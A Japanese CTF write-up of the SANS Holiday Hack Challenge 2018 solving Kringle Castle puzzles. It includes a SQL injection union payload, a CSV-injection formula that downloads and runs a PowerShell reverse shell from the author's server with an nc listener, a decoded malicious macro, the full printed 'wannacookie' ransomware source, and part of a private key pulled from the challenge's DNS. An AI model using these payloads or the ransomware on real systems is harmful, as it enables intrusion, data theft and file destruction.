----------------7f46bd5f88d0d5ac9f68ef50bebb7c52cfa67442---------------- diff --git a/schematics/for_elf_eyes_only.md b/schematics/for_elf_eyes_only.md deleted file mode 100644 index b06a507..0000000 --- a/schematics/for_elf_eyes_only.md +++ /dev/null @@ -1,15 +0,0 @@ -Our Lead InfoSec Engineer Bushy Evergreen has been noticing an increase of brute force attacks in our logs. Furthermore, Albaster discovered and published a vulnerability with our password length at the last Hacker Conference. - -Bushy directed our elves to change the password used to lock down our sensitive files to something stronger. Good thing he caught it before those dastardly villians did! - - -Hopefully this is the last time we have to change our password again until next Christmas. - - - - -Password = 'Yippee-ki-yay' - - -Change ID = '9ed54617547cfca783e0f81f8dc5c927e3d1e3' -
Yippee-ki-yay
が答え。
5) AD Privilege Discovery
以下、問題文を抜粋。
find a reliable path from a Kerberoastable user to the Domain Admins group. What’s the user’s logon name? Remember to avoid RDP as a control path as it depends on separate local privilege escalation flaws.
Kerberoastable userからDomain Admins groupへのパスを見つけろ、但しRDP接続は除けとのこと。
Active Directoryに疎いので、正直、意味を理解しきれていないが、とりあえず手を動かしてみる。
ovaファイルが提供され、Active DirectoryログはBloodHoundという解析ツールに取り込み済み。親切~。
BloodHoundを起動してポチポチ触ると、あらかじめ用意されたCustom Queryがある。
その中から、Shortest Paths to Domain Admins from Kerberoastable Users
という、ドンピシャなQueryを発見。
選択してプロットされた図から、RDPを介さずにDomain Admins groupに到達するユーザーを発見。
LDUBEJ00320@AD.KRINGLECASTLE.COM
が答え。
6) Badge Manipulation
カメラモニタと指紋認証とUSB端子があるドアを開ける。
右上の緑の四角をクリックすると、リアルな人間の手が表示され、指紋認証が始まるが開かない。
USB端子をクリックするとファイルアップロードが可能。 適当なファイルをアップロードすると、QRコードをアップしろとのエラーメッセージが表示された。
なお、左の黒い四角のモニタは、PCにカメラが接続されていれば本当に映る。 知らずに、出先でカメラ付きのノートPCでチャレンジしていたときに、突然自分の顔が映ったときは心拍数が跳ね上がった。
サブ問題を解いてSQL Injection
というヒントを得た。
よって、シングルクォーテーションが入った文字列をQRコード画像化してアップロードすると以下のメッセージが返却された。
{"data":"EXCEPTION AT (LINE 96 \"user_info = query(\"SELECT first_name,last_name,enabled FROM employees WHERE authorized = 1 AND uid = '{}' LIMIT 1\".format(uid))\"): (1064, u\"You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '''' LIMIT 1' at line 1\")","request":false}
単純なSQL Injectionのようだ。enabled を1
にするため、union句を使ったSQL文を作成する。
' union all select 1,1,1 #
メッセージが流れてしまっているが、アップロードしたら認証成功した。
7) HR Incident Response
https://careers.kringlecastle.com/ から、C:\candidate_evaluation.docx
を取得して、K
から始まる求職者が加担しているサイバーテロリスト組織名を答える問題。
サブ問題を解いてCSV Injection
というヒントを得た。
なるほど、CSVがアップロードできる。
Excelで開いたらセル内の式が発動してpowershellを起動するCSVを作ってアップロードし、リバースシェルを取ればよさそうだ。
CSV形式のマルウェア、昨年のばらまき型メールの添付ファイルでも何度か見たことを思い出した。
作成したCSVは以下のとおり。Excelで開いたらmini-reverse.ps1を自サーバからダウンロードして実行する単純なもの。
=cmd|' /C powershell IEX (New-Object Net.WebClient).DownloadString("http://my-server/mini-reverse.ps1")'!A1
リバースシェルはこれを使った。
A reverse shell in Powershell · GitHub
先頭のIPアドレスとPort番号を書き換える。
また、IEXで実行するため、ダブルクォーテーションをエスケープする必要があった。"
を\"
に置換した。少々ハマった。
実行の手順は以下の通り。
nc -l -p <ポート番号>
を実行して待ち受け準備。- 別ターミナルでapacheのアクセスログを
tail -f
で流して監視。 - CSVのアップロードを実行。
- mini-reverse.ps1 へアクセスが来た数秒後に、以下のコマンドを投入。
powershell [Convert]::ToBase64String([System.IO.File]::ReadAllBytes('C:\\candidate_evaluation.docx')) UEsDBBQACAgIAC2fh00AAAAAAAAAAAAAAAALAAAAX3JlbHMvLnJlbHO(snip)
得られたBASE64エンコード文字列をデコードしてWordで開く。
Fancy BearFancy Beaver
が答え。
8) Network Traffic Forensics
パケットキャプチャ&パケットアナライザを提供するWebシステムを使用して、Holly Evergreen
からAlabaster Snowball
へ送ったドキュメントを取得する問題。
アカウントを登録してログインすると、Analyze PCAP
とSNIFF TRAFFIC
というボタンがある。
Analyze PCAP
は、PCAPファイルをアップロードして一覧表示する機能。
SNIFF TRAFFIC
は、20秒間、このシステムがパケットキャプチャして、PCAPファイルとしてダウンロードできる機能。
最初、何をするのかわからなかったが、どうやら、SNIFF TRAFFIC
したPCAPファイルに、Holly Evergreen
からAlabaster Snowball
へ送ったドキュメントの手がかりがあるようだ。
ただ、HTTPSによる通信のため、PCAPファイルをWireSharkで開いてもApplication Data
と表示されて中身がみれない。
Webシステムの調査を進めると、以下のコメントを発見。
(snip) //File upload Function. All extensions and sizes are validated server-side in app.js (snip) //File Size and extensions are also validated server-side in app.js. (snip)
app.jsのソースを探すと、https://packalyzer.kringlecastle.com/pub/app.js に発見。
ソースコードを読み解く。注目するべきは以下の2か所。
①
const dev_mode = true; const key_log_path = ( !dev_mode || __dirname + process.env.DEV + process.env.SSLKEYLOGFILE ) const options = { key: fs.readFileSync(__dirname + '/keys/server.key'), cert: fs.readFileSync(__dirname + '/keys/server.crt'), http2: { protocol: 'h2', // HTTP2 only. NOT HTTP1 or HTTP1.1 protocols: [ 'h2' ], }, keylog : key_log_path //used for dev mode to view traffic. Stores a few minutes worth at a time };
②
function load_envs() { var dirs = [] var env_keys = Object.keys(process.env) for (var i=0; i < env_keys.length; i++) { if (typeof process.env[env_keys[i]] === "string" ) { dirs.push(( "/"+env_keys[i].toLowerCase()+'/*') ) } } return uniqueArray(dirs) } if (dev_mode) { //Can set env variable to open up directories during dev const env_dirs = load_envs(); } else { const env_dirs = ['/pub/','/uploads/']; } (snip) //Route for anything in the public folder except index, home and register router.get(env_dirs, async (ctx, next) => { try { var Session = await sessionizer(ctx); //Splits into an array delimited by / let split_path = ctx.path.split('/').clean(""); //Grabs directory which should be first element in array let dir = split_path[0].toUpperCase(); split_path.shift(); let filename = "/"+split_path.join('/'); while (filename.indexOf('..') > -1) { filename = filename.replace(/\.\./g,''); } if (!['index.html','home.html','register.html'].includes(filename)) { ctx.set('Content-Type',mime.lookup(__dirname+(process.env[dir] || '/pub/')+filename)) ctx.body = fs.readFileSync(__dirname+(process.env[dir] || '/pub/')+filename) } else { ctx.status=404; ctx.body='Not Found'; } } catch (e) { ctx.body=e.toString(); } });
①より、__dirname + process.env.DEV + process.env.SSLKEYLOGFILE
に、keylog
ファイルを出力している。
以下ドキュメントを読んだところ、keylog
ファイルがあれば、特定の時間内のPCAPファイルを復号できるようだ。
(流石、SANS!)
www.sans.org
②より、process.env
にセットされている環境変数の文字列が、静的コンテンツのダウンロード先ディレクトリになるようだ。
例えば、process.env.HOGE = "fuga"
がセットされていれば、/fuga/aaaa.txt
ファイルをダウンロードできる模様。
keylog
ファイルはprocess.env.DEV
のディレクトリ配下に作成されることはわかっているため、process.env.DEV
、process.env.SSLKEYLOGFILE
の値がわかればダウンロードできる。
試しにprocess.env.DEV
、process.env.SSLKEYLOGFILE
の変数名をそのままパスにしてアクセスしてみる。
https://packalyzer.kringlecastle.com/DEV/
Error: EISDIR: illegal operation on a directory, read
DEVディレクトリが存在するようだ!
https://packalyzer.kringlecastle.com/SSLKEYLOGFILE/
Error: ENOENT: no such file or directory, open '/opt/http2packalyzer_clientrandom_ssl.log/'
SSLKEYLOGFILEのファイル名がわかった!
これらの情報より、keylog
ファイルのパスが判明した。
https://packalyzer.kringlecastle.com/dev/packalyzer_clientrandom_ssl.log
CLIENT_RANDOM 3597D1735D7B3A17DDE8E500AA4E9A82AE04A56F4B2C0581FA24DCB97410C7E5 5C72E0E51E6237CF65C554D2AD798724F8F38FD6B98407CACCEA1E0D95490216BB3B34A729E961C597A707EF694AEE37 CLIENT_RANDOM 199892BA0535C02CD1AB9A832F85BDAA1A4A32194B10A52D0C57BD39C2BECF4E 30DD840A5084BC474BD4AB3390AA7A60CBC25FA231F30C9A77B8004F78C382C228A184722E2493183E5449ADD68FF991 CLIENT_RANDOM F28FAE7892D99F9D1CAD42592BDD370B02D928194C47491A240C63FBE05239C5 ACD8FB9E512932F814D96F90565EE97D79EBCF77F93D821683EE53F402513C7B9CA59E79BAD10871B9ADF648BB37165A CLIENT_RANDOM F12159347D0B70C00CEE2F39F425E35ECC780CD3A8E739904BAB8F18832132B0 4323B6691163A22188978D58F03F15AD4EE12DF320DFC1CDBE0CF4714FA3842EA58745E56457FC16264D2897598AEF63 CLIENT_RANDOM 8D14BC97A066335AB829BD5B2EBBB7E25ABE4C95A9C1035D6613E3DB9A7EFF21 DC82E8547E2CC9089C99E066E3CD2F81575E875AFBF90D06FED7B83B692A60FABC4FE32A2848945D50A4A694EEDD9451 (snip)
SNIFF TRAFFIC
ボタンを押下してPCAPファイルを取得してから、直後にkeylog
ファイルをダウンロードする。
WireSharkの編集 -> 設定 -> Protocol -> SSLの画面で、(Pre)-Master-Secret log filename
にkeylog
ファイルをセットする。
PCAPファイルを開くとTLS暗号化されていた中身が見れた。 WireShark上でグリーン表示になった時は感動した。
通信内容はHTTP2。DATAフレームを中心に中身を確認する。
なお、以前に技術書典5で購入した本を読んでいたので、通常のHTTP通信との違いに戸惑うことなく、すんなりと解析を始められた。おすすめ。
booth.pm
DATAフレームを眺めていると、alabaster
ユーザのクレデンシャル情報を発見。
ログインしてみると、Captures画面にいかにもなPCAPファイルを発見。
BASE64デコードするとPDFファイルになった。
2ページ目の末尾のMary Had a Little Lamb
が答え。
9) Ransomware Recovery
不審な通信検知、ランサムウェアのマルウェア解析、キルスイッチ設定、被害ファイルの復号をする問題。
9-1) Catch the Malware
PCAPファイルを読み解いて、不審な通信先をアラート検知するSnortルールを作る問題。
ドメインとIPは変動するので、パターンを見極めてルールを作る必要がある。
まず、PCAPファイルから傾向をつかむ。
elf@359a2f37b283:~$ tshark -r snort.log.pcap -T fields -e dns.qry.name 77616E6E61636F6F6B69652E6D696E2E707331.easrbnhrug.org 77616E6E61636F6F6B69652E6D696E2E707331.easrbnhrug.org 77616E6E61636F6F6B69652E6D696E2E707331.bngaurrhes.net 77616E6E61636F6F6B69652E6D696E2E707331.bngaurrhes.net durex.linkedin.com durex.linkedin.com 0.77616E6E61636F6F6B69652E6D696E2E707331.easrbnhrug.org 0.77616E6E61636F6F6B69652E6D696E2E707331.easrbnhrug.org 0.77616E6E61636F6F6B69652E6D696E2E707331.bngaurrhes.net 0.77616E6E61636F6F6B69652E6D696E2E707331.bngaurrhes.net preoffering.earthfall.google.com preoffering.earthfall.google.com 1.77616E6E61636F6F6B69652E6D696E2E707331.bngaurrhes.net 1.77616E6E61636F6F6B69652E6D696E2E707331.bngaurrhes.net asked.suctional.islandology.yahoo.com asked.suctional.islandology.yahoo.com
77616E6E61636F6F6B69652E6D696E2E707331
が含まれているドメインがどう見ても悪性。
このランダム文字列の部分も変動すると思い正規表現を駆使したルールを作っていたが、結局、以下のルールで成功した。 ちょっと肩すかし。
alert udp $HOME_NET any -> $EXTERNAL_NET 53 (msg:"BLACKLIST DNS domain"; pcre:"/77616E6E61636F6F6B69652E6D696E2E707331/"; sid:1000001; rev:1;) alert udp $EXTERNAL_NET 53 -> $HOME_NET any (msg:"BLACKLIST DNS domain"; pcre:"/77616E6E61636F6F6B69652E6D696E2E707331/"; sid:1000002; rev:1;)
なお、最初、クライアント→サーバの通信だけアラート検知すればよいと思い、中々成功せずに少々ハマった。
9-2) Identify the Domain
ランサムウェアのwordファイルを解析して通信先のドメインを特定する問題。
olevbaツールを使うと以下のマクロが見つかる。
powershell.exe -NoE -Nop -NonI -ExecutionPolicy Bypass -C "sal a New-Object; iex(a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String('lVHRSsMwFP2VSwksYUtoWkxxY4iyir4oaB+EMUYoqQ1syUjToXT7d2/1Zb4pF5JDzuGce2+a3tXRegcP2S0lmsFA/AKIBt4ddjbChArBJnCCGxiAbOEMiBsfSl23MKzrVocNXdfeHU2Im/k8euuiVJRsZ1Ixdr5UEw9LwGOKRucFBBP74PABMWmQSopCSVViSZWre6w7da2uslKt8C6zskiLPJcJyttRjgC9zehNiQXrIBXispnKP7qYZ5S+mM7vjoavXPek9wb4qwmoARN8a2KjXS9qvwf+TSakEb+JBHj1eTBQvVVMdDFY997NQKaMSzZurIXpEv4bYsWfcnA51nxQQvGDxrlP8NxH/kMy9gXREohG'),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd()"
BASE64デコードして、Deflateをかければ中身がわかる。
>>> import base64 >>> import zlib >>> encoded = 'lVHRSsMwFP2VSwksYUtoWkxxY4iyir4oaB+EMUYoqQ1syUjToXT7d2/1Zb4pF5JDzuGce2+a3tXRegcP2S0lmsFA/AKIBt4ddjbChArBJnCCGxiAbOEMiBsfSl23MKzrVocNXdfeHU2Im/k8euuiVJRsZ1Ixdr5UEw9LwGOKRucFBBP74PABMWmQSopCSVViSZWre6w7da2uslKt8C6zskiLPJcJyttRjgC9zehNiQXrIBXispnKP7qYZ5S+mM7vjoavXPek9wb4qwmoARN8a2KjXS9qvwf+TSakEb+JBHj1eTBQvVVMdDFY997NQKaMSzZurIXpEv4bYsWfcnA51nxQQvGDxrlP8NxH/kMy9gXREohG' >>> decoded = base64.b64decode(encoded) >>> decompressed = zlib.decompress(decoded, -15) >>> print(decompressed.decode("utf-8")) function H2A($a) {$o; $a -split '(..)' | ? { $_ } | forEach {[char]([convert]::toint16($_,16))} | forEach {$o = $o + $_}; return $o}; $f = "77616E6E61636F6F6B69652E6D696E2E707331"; $h = ""; foreach ($i in 0..([convert]::ToInt32((Resolve-DnsName -Server erohetfanu.com -Name "$f.erohetfanu.com" -Type TXT).strings, 10)-1)) {$h += (Resolve-DnsName -Server erohetfanu.com -Name "$i.$f.erohetfanu.com" -Type TXT).strings}; iex($(H2A $h | Out-string))
erohetfanu.com
が答え。
9-3) Stop the Malware
マルウェアにキルスイッチ機能が実装されているようで、そのドメインを特定する問題。
9-2のPowerShellを実行して、2次検体を取得する。
ただ、そのまま実行すると自分も被害にあう可能性があるため、最後にiex
で実行している部分をコメントアウトし、コード実行はせずにコードを文字列で出力するよう改造する。
function H2A($a) { $o; $a -split '(..)' | ? { $_ } | forEach {[char]([convert]::toint16($_,16))} | forEach {$o = $o + $_}; return $o }; $f = "77616E6E61636F6F6B69652E6D696E2E707331"; $h = ""; foreach ($i in 0..([convert]::ToInt32((Resolve-DnsName -Server erohetfanu.com -Name "$f.erohetfanu.com" -Type TXT).strings, 10)-1)) { $h += (Resolve-DnsName -Server erohetfanu.com -Name "$i.$f.erohetfanu.com" -Type TXT).strings }; #iex($(H2A $h | Out-string)) $(H2A $h | Out-string)
実行結果は以下の通り。
PS D:\Develop\CTF\Contest\HolidayChallenge2018> powershell .\1次検体.ps1 $functions = {function e_d_file($key, $File, $enc_it) {[byte[]]$key = $key;$Suffix = "`.wannacookie";[System.Reflection.Assembly]::LoadWithPartialName('System.Security.Cryptography');[System.Int32]$KeySize = $key.Length*8;$AESP = New-Object 'System.Security.Cryptography.AesManaged';$AESP.Mode = [System.Security.Cryptography.CipherMode]::CBC;$AESP.BlockSize = 128;$AESP.KeySize = $KeySize;$AESP.Key = $key;$FileSR = New-Object System.IO.FileStream($File, [System.IO.FileMode]::Open);if ($enc_it) {$DestFile = $File + $Suffix} else {$DestFile = ($File -replace $Suffix)};$FileSW = New-Object System.IO.FileStream($DestFile, [System.IO.FileMode]::Create);if ($enc_it) {$AESP.GenerateIV();$FileSW.Write([System.BitConverter]::GetBytes($AESP.IV.Length), 0, 4);$FileSW.Write($AESP.IV, 0, $AESP.IV.Length);$Transform = $AESP.CreateEncryptor()} else {[Byte[]]$LenIV = New-Object Byte[] 4;$FileSR.Seek(0, [System.IO.SeekOrigin]::Begin) | Out-Null;$FileSR.Read($LenIV, 0, 3) | Out-Null;[Int]$LIV = [System.BitConverter]::ToInt32($LenIV, 0);[Byte[]]$IV = New-Object Byte[] $LIV;$FileSR.Seek(4, [System.IO.SeekOrigin]::Begin) | Out-Null;$FileSR.Read($IV, 0, $LIV) | Out-Null;$AESP.IV = $IV;$Transform = $AESP.CreateDecryptor()};$CryptoS = New-Object System.Security.Cryptography.CryptoStream($FileSW, $Transform, [System.Security.Cryptography.CryptoStreamMode]::Write);[Int]$Count = 0;[Int]$BlockSzBts = $AESP.BlockSize / 8;[Byte[]]$Data = New-Object Byte[] $BlockSzBts;Do {$Count = $FileSR.Read($Data, 0, $BlockSzBts);$CryptoS.Write($Data, 0, $Count)} While ($Count -gt 0);$CryptoS.FlushFinalBlock();$CryptoS.Close();$FileSR.Close();$FileSW.Close();Clear-variable -Name "key";Remove-Item $File}};function H2B {param($HX);$HX = $HX -split '(..)' | ? { $_ };ForEach ($value in $HX){[Convert]::ToInt32($value,16)}};function A2H(){Param($a);$c = '';$b = $a.ToCharArray();;Foreach ($element in $b) {$c = $c + " " + [System.String]::Format("{0:X}", [System.Convert]::ToUInt32($element))};return $c -replace ' '};function H2A() {Param($a);$outa;$a -split '(..)' | ? { $_ } | forEach {[char]([convert]::toint16($_,16))} | forEach {$outa = $outa + $_};return $outa};function B2H {param($DEC);$tmp = '';ForEach ($value in $DEC){$a = "{0:x}" -f [Int]$value;if ($a.length -eq 1){$tmp += '0' + $a} else {$tmp += $a}};return $tmp};function ti_rox {param($b1, $b2);$b1 = $(H2B $b1);$b2 = $(H2B $b2);$cont = New-Object Byte[] $b1.count;if ($b1.count -eq $b2.count) {for($i=0; $i -lt $b1.count ; $i++) {$cont[$i] = $b1[$i] -bxor $b2[$i]}};return $cont};function B2G {param([byte[]]$Data);Process {$out = [System.IO.MemoryStream]::new();$gStream = New-Object System.IO.Compression.GzipStream $out, ([IO.Compression.CompressionMode]::Compress);$gStream.Write($Data, 0, $Data.Length);$gStream.Close();return $out.ToArray()}};function G2B {param([byte[]]$Data);Process {$SrcData = New-Object System.IO.MemoryStream( , $Data );$output = New-Object System.IO.MemoryStream;$gStream = New-Object System.IO.Compression.GzipStream $SrcData, ([IO.Compression.CompressionMode]::Decompress);$gStream.CopyTo( $output );$gStream.Close();$SrcData.Close();[byte[]] $byteArr = $output.ToArray();return $byteArr}};function sh1([String] $String) {$SB = New-Object System.Text.StringBuilder;[System.Security.Cryptography.HashAlgorithm]::Create("SHA1").ComputeHash([System.Text.Encoding]::UTF8.GetBytes($String))|%{[Void]$SB.Append($_.ToString("x2"))};$SB.ToString()};function p_k_e($key_bytes, [byte[]]$pub_bytes){$cert = New-Object -TypeName System.Security.Cryptography.X509Certificates.X509Certificate2;$cert.Import($pub_bytes);$encKey = $cert.PublicKey.Key.Encrypt($key_bytes, $true);return $(B2H $encKey)};function e_n_d {param($key, $allfiles, $make_cookie );$tcount = 12;for ( $file=0; $file -lt $allfiles.length; $file++ ) {while ($true) {$running = @(Get-Job | Where-Object { $_.State -eq 'Running' });if ($running.Count -le $tcount) {Start-Job -ScriptBlock {param($key, $File, $true_false);try{e_d_file $key $File $true_false} catch {$_.Exception.Message | Out-String | Out-File $($env:userprofile+'\Desktop\ps_log.txt') -append}} -args $key, $allfiles[$file], $make_cookie -InitializationScript $functions;break} else {Start-Sleep -m 200;continue}}}};function g_o_dns($f) {$h = '';foreach ($i in 0..([convert]::ToInt32($(Resolve-DnsName -Server erohetfanu.com -Name "$f.erohetfanu.com" -Type TXT).Strings, 10)-1)) {$h += $(Resolve-DnsName -Server erohetfanu.com -Name "$i.$f.erohetfanu.com" -Type TXT).Strings};return (H2A $h)};function s_2_c($astring, $size=32) {$new_arr = @();$chunk_index=0;foreach($i in 1..$($astring.length / $size)) {$new_arr += @($astring.substring($chunk_index,$size));$chunk_index += $size};return $new_arr};function snd_k($enc_k) {$chunks = (s_2_c $enc_k );foreach ($j in $chunks) {if ($chunks.IndexOf($j) -eq 0) {$n_c_id = $(Resolve-DnsName -Server erohetfanu.com -Name "$j.6B6579666F72626F746964.erohetfanu.com" -Type TXT).Strings} else {$(Resolve-DnsName -Server erohetfanu.com -Name "$n_c_id.$j.6B6579666F72626F746964.erohetfanu.com" -Type TXT).Strings}};return $n_c_id};function wanc {$S1 = "1f8b080000000000040093e76762129765e2e1e6640f6361e7e202000cdd5c5c10000000";if ($null -ne ((Resolve-DnsName -Name $(H2A $(B2H $(ti_rox $(B2H $(G2B $(H2B $S1))) $(Resolve-DnsName -Server erohetfanu.com -Name 6B696C6C737769746368.erohetfanu.com -Type TXT).Strings))).ToString() -ErrorAction 0 -Server 8.8.8.8))) {return};if ($(netstat -ano | Select-String "127.0.0.1:8080").length -ne 0 -or (Get-WmiObject Win32_ComputerSystem).Domain -ne "KRINGLECASTLE") {return};$p_k = [System.Convert]::FromBase64String($(g_o_dns("7365727665722E637274") ) );$b_k = ([System.Text.Encoding]::Unicode.GetBytes($(([char[]]([char]01..[char]255) + ([char[]]([char]01..[char]255)) + 0..9 | sort {Get-Random})[0..15] -join '')) | ? {$_ -ne 0x00});$h_k = $(B2H $b_k);$k_h = $(sh1 $h_k);$p_k_e_k = (p_k_e $b_k $p_k).ToString();$c_id = (snd_k $p_k_e_k);$d_t = (($(Get-Date).ToUniversalTime() | Out-String) -replace "`r`n");[array]$f_c = $(Get-ChildItem *.elfdb -Exclude *.wannacookie -Path $($($env:userprofile+'\Desktop'),$($env:userprofile+'\Documents'),$($env:userprofile+'\Videos'),$($env:userprofile+'\Pictures'),$($env:userprofile+'\Music')) -Recurse | where { ! $_.PSIsContainer } | Foreach-Object {$_.Fullname});e_n_d $b_k $f_c $true;Clear-variable -Name "h_k";Clear-variable -Name "b_k";$lurl = 'http://127.0.0.1:8080/';$html_c = @{'GET /' = $(g_o_dns (A2H "source.min.html"));'GET /close' = '<p>Bye!</p>'};Start-Job -ScriptBlock{param($url);Start-Sleep 10;Add-type -AssemblyName System.Windows.Forms;start-process "$url" -WindowStyle Maximized;Start-sleep 2;[System.Windows.Forms.SendKeys]::SendWait("{F11}")} -Arg $lurl;$list = New-Object System.Net.HttpListener;$list.Prefixes.Add($lurl);$list.Start();try {$close = $false;while ($list.IsListening) {$context = $list.GetContext();$Req = $context.Request;$Resp = $context.Response;$recvd = '{0} {1}' -f $Req.httpmethod, $Req.url.localpath;if ($recvd -eq 'GET /') {$html = $html_c[$recvd]} elseif ($recvd -eq 'GET /decrypt') {$akey = $Req.QueryString.Item("key");if ($k_h -eq $(sh1 $akey)) {$akey = $(H2B $akey);[array]$f_c = $(Get-ChildItem -Path $($env:userprofile) -Recurse -Filter *.wannacookie | where { ! $_.PSIsContainer } | Foreach-Object {$_.Fullname});e_n_d $akey $f_c $false;$html = "Files have been decrypted!";$close = $true} else {$html = "Invalid Key!"}} elseif ($recvd -eq 'GET /close') {$close = $true;$html = $html_c[$recvd]} elseif ($recvd -eq 'GET /cookie_is_paid') {$c_n_k = $(Resolve-DnsName -Server erohetfanu.com -Name ("$c_id.72616e736f6d697370616964.erohetfanu.com".trim()) -Type TXT).Strings;if ( $c_n_k.length -eq 32 ) {$html = $c_n_k} else {$html = "UNPAID|$c_id|$d_t"}} else {$Resp.statuscode = 404;$html = '<h1>404 Not Found</h1>'};$buffer = [Text.Encoding]::UTF8.GetBytes($html);$Resp.ContentLength64 = $buffer.length;$Resp.OutputStream.Write($buffer, 0, $buffer.length);$Resp.Close();if ($close) {$list.Stop();return}}} finally {$list.Stop()}};wanc;
整形しながら読み進める。(良いPowerShellの整形ツールが見つからない・・・。誰か教えてください。)
キルスイッチとなるドメイン名を特定する問題なので、実行後の前半部分でreturnする処理に着目する。
$S1 = "1f8b080000000000040093e76762129765e2e1e6640f6361e7e202000cdd5c5c10000000"; if ($null -ne ((Resolve-DnsName -Name $(H2A $(B2H $(ti_rox $(B2H $(G2B $(H2B $S1))) $(Resolve-DnsName -Server erohetfanu.com -Name 6B696C6C737769746368.erohetfanu.com -Type TXT).Strings))).ToString() -ErrorAction 0 -Server 8.8.8.8))) { return };
DNSから情報をかき集めており、ソースコードを見ていても答えは無いため、実行してしまうことにする。
参照している関数を集めて、1つのps1ファイルにする。
function H2B { param($HX); $HX = $HX -split '(..)' | ? { $_ }; ForEach ($value in $HX) {[Convert]::ToInt32($value, 16)} }; function H2A() { Param($a); $outa; $a -split '(..)' | ? { $_ } | forEach {[char]([convert]::toint16($_, 16))} | forEach {$outa = $outa + $_}; return $outa }; function B2H { param($DEC); $tmp = ''; ForEach ($value in $DEC) { $a = "{0:x}" -f [Int]$value; if ($a.length -eq 1) { $tmp += '0' + $a } else { $tmp += $a } }; return $tmp }; function ti_rox { param($b1, $b2); $b1 = $(H2B $b1); $b2 = $(H2B $b2); $cont = New-Object Byte[] $b1.count; if ($b1.count -eq $b2.count) { for ($i = 0; $i -lt $b1.count ; $i++) { $cont[$i] = $b1[$i] -bxor $b2[$i] } }; return $cont }; function G2B { param([byte[]]$Data); Process { $SrcData = New-Object System.IO.MemoryStream( , $Data ); $output = New-Object System.IO.MemoryStream; $gStream = New-Object System.IO.Compression.GzipStream $SrcData, ([IO.Compression.CompressionMode]::Decompress); $gStream.CopyTo( $output ); $gStream.Close(); $SrcData.Close(); [byte[]] $byteArr = $output.ToArray(); return $byteArr } }; $S1 = "1f8b080000000000040093e76762129765e2e1e6640f6361e7e202000cdd5c5c10000000"; $(H2A $(B2H $(ti_rox $(B2H $(G2B $(H2B $S1))) $(Resolve-DnsName -Server erohetfanu.com -Name 6B696C6C737769746368.erohetfanu.com -Type TXT).Strings)))
実行するとドメイン名らしき文字列が表示される。
PS D:\Develop\CTF\Contest\HolidayChallenge2018> .\killswitch.ps1 yippeekiyaa.aaay
yippeekiyaa.aaay
が答え。
サンタ城内の端末からドメイン登録する。
登録に成功した。(間違ったドメインを入力すると登録できない。)
9-4) Recover Alabaster's Password
ランサムウェアの被害にあったファイルを復号する問題。
ランサムウェア実行時のpowershellのメモリダンプファイルが与えられる。
とりあえず、ソースコードを読み進める。
$p_k = [System.Convert]::FromBase64String($(g_o_dns("7365727665722E637274") ) ); $b_k = ([System.Text.Encoding]::Unicode.GetBytes($(([char[]]([char]01..[char]255) + ([char[]]([char]01..[char]255)) + 0..9 | sort {Get-Random})[0..15] -join '')) | ? {$_ -ne 0x00}); $h_k = $(B2H $b_k); $k_h = $(sh1 $h_k); $p_k_e_k = (p_k_e $b_k $p_k).ToString(); $c_id = (snd_k $p_k_e_k);
$p_k
は、犯人のC2サーバから取得する公開鍵$b_k
は、ファイル暗号化に使用するランダムの16バイトの共通鍵$p_k_e_k
は、$b_k
を$p_k
で暗号化したデータ$h_k
、$k_h
および$c_id
は、身代金の支払い画面で使用するパラメータのため割愛
$p_k_e_k
を復号できれば、$b_k
が判明しファイルを復号できる。
しかし、$p_k
に対応する秘密鍵が必要で、犯人しか持っていないはず。
7365727665722E637274
がASCII文字っぽいことに気付く。
>>> import binascii >>> binascii.unhexlify(b'7365727665722E637274') b'server.crt'
server.crt
!
ちょ、そのまんま!!!
秘密鍵server.key
を同じ要領で取得できるかも。
>>> binascii.hexlify('server.key'.encode("utf-8")) b'7365727665722e6b6579'
公開鍵$p_k
の取得と同じくg_o_dns
関数を使う。
PS D:\Develop\CTF\Contest\HolidayChallenge2018> $(g_o_dns("7365727665722e6b6579")); -----BEGIN PRIVATE KEY----- MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDEiNzZVUbXCbMG L4sM2UtilR4seEZli2CMoDJ73qHql+tSpwtK9y4L6znLDLWSA6uvH+lmHhhep9ui W3vvHYCq+Ma5EljBrvwQy0e2Cr/qeNBrdMtQs9KkxMJAz0fRJYXvtWANFJF5A+Nq jI+jdMVtL8+PVOGWp1PA8DSW7i+9eLkqPbNDxCfFhAGGlHEU+cH0CTob0SB5Hk0S TPUKKJVc3fsD8/t60yJThCw4GKkRwG8vqcQCgAGVQeLNYJMEFv0+WHAt2WxjWTu3 HnAfMPsiEnk/y12SwHOCtaNjFR8Gt512D7idFVW4p5sT0mrrMiYJ+7x6VeMIkrw4 tk/1ZlYNAgMBAAECggEAHdIGcJOX5Bj8qPudxZ1S6uplYan+RHoZdDz6bAEj4Eyc 0DW4aO+IdRaD9mM/SaB09GWLLIt0dyhRExl+fJGlbEvDG2HFRd4fMQ0nHGAVLqaW OTfHgb9HPuj78ImDBCEFaZHDuThdulb0sr4RLWQScLbIb58Ze5p4AtZvpFcPt1fN 6YqS/y0i5VEFROWuldMbEJN1x+xeiJp8uIs5KoL9KH1njZcEgZVQpLXzrsjKr67U 3nYMKDemGjHanYVkF1pzv/rardUnS8h6q6JGyzV91PpLE2I0LY+tGopKmuTUzVOm Vf7sl5LMwEss1g3x8gOh215Ops9Y9zhSfJhzBktYAQKBgQDl+w+KfSb3qZREVvs9 uGmaIcj6Nzdzr+7EBOWZumjy5WWPrSe0S6Ld4lTcFdaXolUEHkE0E0j7H8M+dKG2 Emz3zaJNiAIX89UcvelrXTV00k+kMYItvHWchdiH64EOjsWrc8co9WNgK1XlLQtG 4iBpErVctbOcjJlzv1zXgUiyTQKBgQDaxRoQolzgjElDG/T3VsC81jO6jdatRpXB 0URM8/4MB/vRAL8LB834ZKhnSNyzgh9N5G9/TAB9qJJ+4RYlUUOVIhK+8t863498 /P4sKNlPQio4Ld3lfnT92xpZU1hYfyRPQ29rcim2c173KDMPcO6gXTezDCa1h64Q 8iskC4iSwQKBgQCvwq3f40HyqNE9YVRlmRhryUI1qBli+qP5ftySHhqy94okwerE KcHw3VaJVM9J17Atk4m1aL+v3Fh01OH5qh9JSwitRDKFZ74JV0Ka4QNHoqtnCsc4 